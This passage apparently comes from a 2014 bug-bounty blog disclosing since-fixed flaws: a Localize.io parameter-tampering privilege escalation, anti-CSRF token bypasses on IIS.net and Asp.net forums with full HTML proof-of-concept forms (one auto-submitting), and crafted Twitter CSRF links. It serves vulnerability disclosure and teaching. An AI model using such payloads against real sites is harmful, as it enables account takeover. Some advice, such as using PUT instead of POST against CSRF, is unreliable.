Please Note: The invitations[userID] parameter value 3gk is always same for all the users, the invitations[accept] parameter value 1 means to Accept the invitation request & 2 means to Reject the invitation and the invitations[role] parameter value 1 is for Contributor, 2 is for Moderator, 3 is for Developer, 4 is for Administrator Privileged User.




5) Bingo!!! The 2nd user now able to access the Private Project as Admin, mission accomplised :D.



Same way the attacker(ie any 2nd user can access any other users Private Projects as Admin)










Rootcause:





The other user was able to accept his own Private Project Access Invitation Requests by manipulating the Url http://www.localize.io/projects/9n & Parameters invitations[userID], invitations[accept], invitations[role] values.

  

Impact:




All Localize.io users were vulnerable to this attack and using these
vulnerability the Attacker can bypass the Process Validation & Permission Restrictions and can Access any Localize Users Private Project as Admin Without the Project Owners Permission.






Recommendation:





Do not assume that users will access application pages in the intended sequence (make sure people will also not be able to avoid access controls by taking a different “path”)



Do not trust the user not to tamper with any data that is transmitted via the client. If some user-submitted data has been validated and is then transmitted via the client, do not rely upon the retransmitted value without revalidation.




If a direct object reference must be used, ensure that the user is authorized before using it.



Avoid exposing of private object references to users such as file names and primary keys.




Do not trust any user-submitted parameters to signify access rights (such as admin = true)



Avoid exposing of direct object references to users by using an index.



Verify authorization to all reference objects.








The vulnerability was mitigated by Localize Security Team within 1 day.





So
in this way, one can bypass Process Validation & Permission Restrictions and can Access any Users Private Project as Admin Without the Project Owners Permission also this technique can be used to find
same type of vulnerability on different websites.





Suggestions and Feedbacks are welcome.


Saturday, 19 April 2014

Microsofts IIS.net Anti-CSRF Token Bypass



Microsoft's IIS.net CSRF Vulnerability




I want to share my another finding on Microsoft IIS.net which I have reported to them in August 2013.





While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can
compromise the victims account by change email id of any users account
on that site to the attackers email id an then we can use the
forget password option to reset the victims account password.





The
challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token then I tried to check whether token is getting
validated on not and after that I tried to check that the token validation is based on full length check but none of them worked as the Token was getting
validated on server-side. 





Now
only 2 options left 1st option is that I
have to somehow predict or guess the token and 2nd options is that I
have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity, full length based validation etc but once again none worked :P so
then something again striked why not check any random value as Anti-CSRF
token by decreasing its length one-by-one without the same length as the current Anti-CSRF Token is having.





So
for that I created 2 dummy account for testing purpose on IIS.net and
then crafted a CSRF payload as mentioned below which is containing a random
value as Anti-CSRF token which is having a length(70 Chars) as the current
Anti-CSRF Token. 





Then I continuously tried to send the CSRF request with the random values of 70 Chars as Anti-CSRF Token in decreasing order. 





So 1st CSRF request was containing Anti-CSRF Token value of 70 Chars next will 69 then 68 so like that I tried approx 40 Requests which all failed as the token was not getting validated on server-side but as I sent the 41th Request with the random value as Anti-CSRF Token with the length of 30 Chars then the request got executed as the Anti-CSRF Token got validated on server-side and guess what it worked :D.







Steps to execute this attack are as following:






1. First copy the actual form submission request.









Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:



<html>

  <body>

    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />

      <input type="hidden" name="PostSortOrder" value="0" />

      <input type="hidden" name="EnableDisplayInMemberList" value="true" />

      <input type="hidden" name="EnableDisplayInMemberList" value="false" />

      <input type="hidden" name="EnableUserAvatars" value="true" />

      <input type="hidden" name="EnableUserAvatars" value="false" />

      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />

      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />

      <input type="hidden" name="EnableAvatar" value="true" />

      <input type="hidden" name="EnableAvatar" value="false" />

      <input type="hidden" name="edit-upload" value="" />

      <input type="hidden" name="Name" value="" />

      <input type="hidden" name="Location" value="" />

      <input type="hidden" name="Occupation" value="" />

      <input type="hidden" name="Interests" value="" />

      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />

      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />

      <input type="hidden" name="Twitter" value="ajaysinghnegi" />

      <input type="hidden" name="Bio" value="" />

      <input type="hidden" name="Signature" value="" />

      <input type="hidden" name="EnableEmail" value="true" />

      <input type="hidden" name="EnableEmail" value="false" />

      <input type="hidden" name="EnableHtmlEmail" value="true" />

      <input type="hidden" name="EnableHtmlEmail" value="false" />

      <input type="hidden" name="EnableThreadTracking" value="false" />

      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />

      <input type="hidden" name="MsnIM" value="test" />

      <input type="hidden" name="AolIM" value="testing" />

      <input type="hidden" name="YahooIM" value="test" />

      <input type="hidden" name="IcqIM" value="testingg" />

      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />

      <input type="hidden" name="FavoriteUsersShared" value="false" />

      <input type="hidden" name="FavoritePostsShared" value="false" />

      <input type="hidden" name="FavoriteForumsShared" value="false" />

      <input type="hidden" name="submit" value="Save All Changes" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>



 2. After that change the same Anti-CSRF
Token parameter __RequestVerificationToken values from CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj to ovomyQnYPxvPXfdxrjO1JEce3zPvGn
with 30 Chars length this modified value will be used as an Anti-CSRF Token.



Account
Compromise & Anti CSRF Token Bypass(Modified Form Submission
Request after changing the Anti-CSRF Token Parameter Value
to 30 Chars Random Value):



<html>

  <body>

    <form action="https://forums.iis.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />

      <input type="hidden" name="PostSortOrder" value="0" />

      <input type="hidden" name="EnableDisplayInMemberList" value="true" />

      <input type="hidden" name="EnableDisplayInMemberList" value="false" />

      <input type="hidden" name="EnableUserAvatars" value="true" />

      <input type="hidden" name="EnableUserAvatars" value="false" />

      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />

      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />

      <input type="hidden" name="EnableAvatar" value="true" />

      <input type="hidden" name="EnableAvatar" value="false" />

      <input type="hidden" name="edit-upload" value="" />

      <input type="hidden" name="Name" value="" />

      <input type="hidden" name="Location" value="" />

      <input type="hidden" name="Occupation" value="" />

      <input type="hidden" name="Interests" value="" />

      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />

      <input type="hidden" name="WebLog" value="http://ajaysinghnegi.com" />

      <input type="hidden" name="Twitter" value="ajaysinghnegi" />

      <input type="hidden" name="Bio" value="" />

      <input type="hidden" name="Signature" value="" />

      <input type="hidden" name="EnableEmail" value="true" />

      <input type="hidden" name="EnableEmail" value="false" />

      <input type="hidden" name="EnableHtmlEmail" value="true" />

      <input type="hidden" name="EnableHtmlEmail" value="false" />

      <input type="hidden" name="EnableThreadTracking" value="false" />

      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />

      <input type="hidden" name="MsnIM" value="test" />

      <input type="hidden" name="AolIM" value="testing" />

      <input type="hidden" name="YahooIM" value="test" />

      <input type="hidden" name="IcqIM" value="testingg" />

      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />

      <input type="hidden" name="FavoriteUsersShared" value="false" />

      <input type="hidden" name="FavoritePostsShared" value="false" />

      <input type="hidden" name="FavoriteForumsShared" value="false" />

      <input type="hidden" name="submit" value="Save All Changes" />

      <input type="submit" value="Submit form" />

    </form>

  </body>

</html>





3. Then send this crafted CSRF payload code as a link to the victim.



4.
As the victim executes that CSRF payload containing link the victims
account email id will be changed and the attack will receive an email to
confirm his email after confirming it the attacker can use the forget
password option to reset the and compromise the victims account.





Rootcause:



Anti-CSRF
Token __RequestVerificationToken and its values CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj
validation was based on Partial Length based validation(i.e Anti-CSRF Token 1st 30 Chars
Length was only getting checked on Server-Side).





Impact:



All
Microsoft IIS.net users were vulnerable to this CSRF attack using these
vulnerability the Attacker can bypass the Anti-CSRF Token Validation
and can Compromise the victims account.





Recommendation:



Anti-CSRF
Token __RequestVerificationToken and its values
shall never be reusable in the attacker own account and any other users
account.



CSRF token shall be properly validated on server-side instead of only Partial Length Based Validation.



It shall be expired after use and it shall be 1 time useable.



It should be generated randomly on each request.



Instead of Post method PUT method shall be used.






The vulnerability was mitigated by Microsoft Security Team in 14 days.



So
in this way, one can bypass Anti-CSRF token validation and can also
compromise the victims account also this technique can be used to find
same type of vulnerability on different websites.



Suggestions and Feedbacks are welcome.

Microsofts Asp.net Anti-CSRF Token Bypass


Microsoft's Asp.net CSRF Vulnerability



I want to share one of my finding on Microsoft Asp.net which I have reported to them in April 2013.




While
researching and working on bug bounties I have found that we can bypass
Anti-CSRF token validation even when it is getting validated on the
server-side and can execute CSRF. And after that using the CSRF we can
compromise the victims account by change email id of any users account
on that site to the attackers email id an then we can use the
forget password option to reset the victims account password.




The
challenge was to execute the CSRF attack by bypassing the Anti-CSRF
token validation. I have found that the Anti-CSRF Token was getting
validated on the server-side. So, I tried to find the weakness in its
validation by various known ways like I tried to re-use one user
Anti-CSRF Token on another user account, then I tried to use the already
used token and after that I tried to check whether token is getting
validated on not but none of them worked as the Token was getting
validated on server-side. 





Now only 2 options left 1st option is that I
have to somehow predict or guess the token and 2nd options is that I have to find the
weakness in the token validation itself so I tried to analyze the token
pattern, randomness, complexity etc but once again none worked :P so
then something striked why not to use any random value as Anti-CSRF token with the same length as the current Anti-CSRF Token is having.




So
for that I created 2 dummy account for testing purpose on asp.net and
then crafted a CSRF payload as mentioned below which is containing a random
value as Anti-CSRF token which is having same length(70 Chars) as the current
Anti-CSRF Token and guess what it worked :D.



Steps to execute this attack are as following:






1. First copy the actual form submission request.









Actual Form Submission Request with Original Anti-CSRF Token Parameter Value:



<html>

<head>

</head>

<body onload=document.forms[0].submit();>

    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">

     
<input type="hidden" name="__RequestVerificationToken"
value="BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN"
/>

      <input type="hidden" name="PostSortOrder" value="0" />

      <input type="hidden" name="EnableDisplayInMemberList" value="false" />

      <input type="hidden" name="EnableUserAvatars" value="true" />

      <input type="hidden" name="EnableUserAvatars" value="false" />

      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />

      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />

      <input type="hidden" name="EnableAvatar" value="false" />

      <input type="hidden" name="edit-upload" value="" />

      <input type="hidden" name="Name" value="" />

      <input type="hidden" name="Location" value="" />

      <input type="hidden" name="Occupation" value="" />

      <input type="hidden" name="Interests" value="" />

      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />

      <input type="hidden" name="WebLog" value="test" />

      <input type="hidden" name="Twitter" value="ajaysinghnegi" />

      <input type="hidden" name="Bio" value="" />

      <input type="hidden" name="Signature" value="" />

      <input type="hidden" name="EnableEmail" value="false" />

      <input type="hidden" name="EnableHtmlEmail" value="false" />

      <input type="hidden" name="EnableThreadTracking" value="false" />

      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />

      <input type="hidden" name="MsnIM" value="test" />

      <input type="hidden" name="AolIM" value="testing" />

      <input type="hidden" name="YahooIM" value="test" />

      <input type="hidden" name="IcqIM" value="testingg" />

      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />

      <input type="hidden" name="FavoriteUsersShared" value="false" />

      <input type="hidden" name="FavoritePostsShared" value="false" />

      <input type="hidden" name="FavoriteForumsShared" value="false" />

      <input type="hidden" name="submit" value="Save All Changes" /></form>

</body>

</html>



 2. After that change the same Anti-CSRF Token parameter __RequestVerificationToken values from BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN to yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD with same length this modified value will be used as an Anti-CSRF Token.



Account Compromise & Anti CSRF Token Bypass(Modified Form Submission Request after changing the Anti-CSRF Token Parameter Value to 70 Chars Random Value):



<html>

<head>

</head>

<body onload=document.forms[0].submit();>

    <form action="https://forums.asp.net/user/editprofile.aspx" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="__RequestVerificationToken" value="yoSfGEOtEMc8BHfUlAsdWlyvwH2ElW8WVcXgr3rv0qoKfBIw7XtfpUfPPxbzMCQDMlpeLD" />

      <input type="hidden" name="PostSortOrder" value="0" />

      <input type="hidden" name="EnableDisplayInMemberList" value="false" />

      <input type="hidden" name="EnableUserAvatars" value="true" />

      <input type="hidden" name="EnableUserAvatars" value="false" />

      <input type="hidden" name="TimeZoneId" value="Morocco Standard Time" />

      <input type="hidden" name="DateFormat" value="MMM dd, yyyy" />

      <input type="hidden" name="EnableAvatar" value="false" />

      <input type="hidden" name="edit-upload" value="" />

      <input type="hidden" name="Name" value="" />

      <input type="hidden" name="Location" value="" />

      <input type="hidden" name="Occupation" value="" />

      <input type="hidden" name="Interests" value="" />

      <input type="hidden" name="WebAddress" value="http://computersecuritywithethicalhacking.blogspot.in" />

      <input type="hidden" name="WebLog" value="test" />

      <input type="hidden" name="Twitter" value="ajaysinghnegi" />

      <input type="hidden" name="Bio" value="" />

      <input type="hidden" name="Signature" value="" />

      <input type="hidden" name="EnableEmail" value="false" />

      <input type="hidden" name="EnableHtmlEmail" value="false" />

      <input type="hidden" name="EnableThreadTracking" value="false" />

      <input type="hidden" name="EmailPublic" value="testtesting@gmail.com" />

      <input type="hidden" name="MsnIM" value="test" />

      <input type="hidden" name="AolIM" value="testing" />

      <input type="hidden" name="YahooIM" value="test" />

      <input type="hidden" name="IcqIM" value="testingg" />

      <input type="hidden" name="EmailPrivate" value="ajaysinghnegi01@gmail.com" />

      <input type="hidden" name="FavoriteUsersShared" value="false" />

      <input type="hidden" name="FavoritePostsShared" value="false" />

      <input type="hidden" name="FavoriteForumsShared" value="false" />

      <input type="hidden" name="submit" value="Save All Changes" />

</form>

</body>

</html>



3. Then send this crafted CSRF payload code as a link to the victim.



4. As the victim executes that CSRF payload contianing link the victims account email id will be changed and the attack will recieve an email to confirm his email after confirming it the attacker can use the forget password option to reset the and compromise the victims account.





Rootcause:



Anti-CSRF Token __RequestVerificationToken and its values BHfUl2ElWyoSfGEOtEMc88WVcXgrCQDMlpe3rv0qoKfBIw7XtfpUfPPxbzMLAsdWlyvwHN validation was based on Length based validation(i.e Anti-CSRF Token Full Length was only getting checked on Server-Side).





Impact:



All Microsoft Asp.net users were vulnerable to this CSRF attack using these vulnerability the Attacker can bypass the Anti-CSRF Token Validation and can Compromise the victims account.





Recommendation:



Anti-CSRF Token __RequestVerificationToken and its values shall never be reusable in the attacker own account and any other users account.



CSRF Token shall be properly validated on server-side instead of only Length Based Validation.



It shall be expired after use and it shall be 1 time useable.



It should be generated randomly on each request.



Instead of Post method PUT method shall be used.






The vulnerability were mitigated by Microsoft Security Team in 12 days.





So in this way, one can bypass Anti-CSRF token validation and can also compromise the victims account also this technique can be used to find same type of vulnerability on different websites.





Suggestions and Feedbacks are welcome.

Sunday, 13 April 2014

Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities


How we were able to find Twitter Follow Retweet and Tweet Favourite CSRF




We want to share 3 of our findings on Twitter which me and my friend Krutarth have reported to them on March 2014. My good friend @KrutarthShukla was testing Twitter and he was trying
deeply to find something on it. And finally he got a Follow CSRF and
after sometime later I also got Reweet & Tweet Favourite CSRF. So,
we found 3 CSRF vulnerabilities on Twitter.











As you know On Twitter they send a mail almost daily with a following subject line Do you know test, tester and testing on Twitter? which contains the list of peoples who may know you on Twitter with there profile link which has a follow button which contains a link with a Url embeded in it using which you can follow the suggested peoples by twitter.



Also they send a mail once or twice in a month with a following subject line Tweets from Test, Tester, Testing and 5 others which Contains the list trends on Twitter for that month which contains Retweet and Tweet Favourite links with a Url embeded in it using which you can Retweet the tweets and make the Tweets Favourite which were suggested by Twitter. The links were as mentioned below.




1. To Follow Someone Url was like this:


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail&sig=e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c&uid=85273509&iid=60cfddd3808c47c29f88ec5e3a7f5742&nid=42+483+20131130&t=1



2. To Retweet Someones Tweets Url was like this:


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B2013113






3. To Make Someones Tweets Favourite Url was like this:


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130








So using these links the attacker can craft his own CSRF payloads by changing the nid, screen_name, tweet_id, iid, sig, ea_s, ea_e,
ea_u and uid parameters value to attackers profile which can be executed using GET request on any Twitter account as the Anti-CSRF token parameter named as Sig and its values can be reused on any other Twitter account nor it ever expires.



Krutarth
found the First one Using which an Attacker can Force any Twitter User
to Follow the Attacker Twitter Profile Via CSRF on twitter main domain.
The other two I have found Using which an Attacker can Force Any Twitter
User to Re-Tweet Attacker Desired Tweets and Make Favourite Attackers
Tweets Via CSRF on twitter main domain.







So here are the Steps to Execute the Attack:

1. Twitter Follow CSRF





i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.





Twitter Follow CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffollow%3Fea_u%3D85273509%26ea_e%3D1387571444%26screen_name%3DKrutarthShukla%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26uid%3D85273509%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26nid%3D42%2B483%2B20131130%26t%3D1





ii). As this CSRF vulnerable url is executed in any twitter account the victims will start following the attackers Twitter profile.





2. Twitter Retweet CSRF




i). First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.





Twitter Re-Tweet CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Fretweet%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130





ii). As this CSRF vulnerable url is executed in any twitter account the victims will start re-tweeting the attacker desired tweets.




3. Twitter Tweet Favourite CSRF





1. First Change the refsrc, t, nid, screen_name, tweet_id, iid, sig, ea_s, ea_e, ea_u and uid parameters value to his own profile same parameter values where ea_u & uid values are same for each users own profiles an the refsrc, t values were same for each of the users of the site and where the sig was implemented as a Anti-CSRF Token but it was reusable again an again on any other users accounts and also it was never getting expired and then Open the below mentioned CSRF vulnerable Url in any browser using any twitter account.





Twitter Tweet Favourite CSRF(Url Encoding is Must After Following Url https://twitter.com/i/redirect?url=):


https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Fintent%2Ffavorite%3Fea_u%3D85273509%26ea_e%3D1396125896%26tweet_id%3D442695320166617088%26ea_s%3D7ecb564dcfdd9f2fa1d4b9e8c4ceb80ebf4761d8%26refsrc%3Demail%26t%3D1%26sig%3De1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c%26iid%3D60cfddd3808c47c29f88ec5e3a7f5742%26uid%3D85273509%26nid%3D42%2B483%2B20131130





2. As this CSRF vulnerable url is executed in any twitter account the victims will start Making Attackers Tweets as his favourite tweets.





Twitter Follow Retweet and Tweet Favourite CSRF Vulnerabilities(Quick) POC Video:










After some analysis we have found that when all these CSRF's were executing then they were actually triggering the follow, retweet and favourite button. But as the request executed after those buttons clicking then each of those request were containing the Anti-CSRF token which was properly getting validated on server-side nor resuable an it expires also but as the attacker was able to successfully force the Twitter users to click on the button without his permission, so even though the second request contains Anti-CSRF token cannot prevent this attack.






Rootcause:





Sig
token & its value e1839b9361a4b64acf3b4cc4f5dc8b1fe4cfb21c was
reuseable for all twitter account and it was not expiring ever also get
request was allowed.







Impact:




All Twitter users are vulnerable to this CSRF attack using these vulnerabilities that Attacker Force Any Twitter User to Follow, Re-Tweet and Make Favourite Attackers Tweet Via CSRF.








Recommendation:




Sig token & its value c069a14f1b1cca7b763679029fa3a0f4d94d40cd shall never be reuseable in the attacker own acount and any other twitter users account.



It shall be expired after use and it shall be 1 time useable.



It should be generated randomly on each request.



Instead of get method PUT method shall be used.








The vulnerabilities were mitigated by Twitter Security Team in 3 weeks.





So in this way, one can find CSRF also this way can be used to find same type of
vulnerabilities on different websites.



Suggestions and Feedbacks are welcome.